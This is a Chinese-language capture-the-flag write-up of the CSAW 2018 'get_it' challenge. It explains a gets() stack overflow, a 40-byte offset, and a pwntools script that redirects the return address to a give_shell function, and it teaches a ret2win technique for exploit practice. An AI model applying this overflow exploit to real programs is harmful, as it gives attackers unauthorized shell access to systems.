csaw18_getit 题解——通过改变栈中返回地址从而调用程序其他函数
这些题目皆来自于 nightmare 项目,感谢 nightmare 项目高质量的题解和选题,nigthmare 在线电子书地址:
https://guyinatuxedo.github.io/index.html
其中题目中所需要的二进制程序环境在这个电子书的官方仓库里有。
二进制文件信息收集
首先上 checksec 来看程序的防护,发现该程序没有栈防护
这就为我们之后通过栈溢出改变函数的返回地址提供了可能。
逆向分析
先看 main 函数,这是一个比较简单的函数,其中这个程序调用了 gets 函数,那绝对可以栈溢出了,
然后我们看到,只要覆盖 0x28 个字节,之后的数据就会溢出到本来存储函数的返回地址那部分内存上
0x28 这个怎么计算呢,其实就是 user_input 的长度 32 + 存储上一个栈帧的 rbp 地址的那部分 8 字节内存,就是 40 个字节,也就是 10 进制的 0x28,下面是 64 位 Linux 程序栈帧的分布图,32 位也差不多,就是函数参数的分布不一样
我们还注意到这个程序中还有一个 give_shell 函数,这个函数是具有终端执行的方法的,所以我们只要将返回地址覆盖成 give_shell 的地址就可以得到终端的访问权限了。
攻击脚本
from pwn import *
if __name__ == '__main__':
target = process('./get_it')
target.recvuntil(b'??')
payload = b''
payload += b'a' * 40
payload += p64(0x4005b6)
target.sendline(payload)
target.interactive()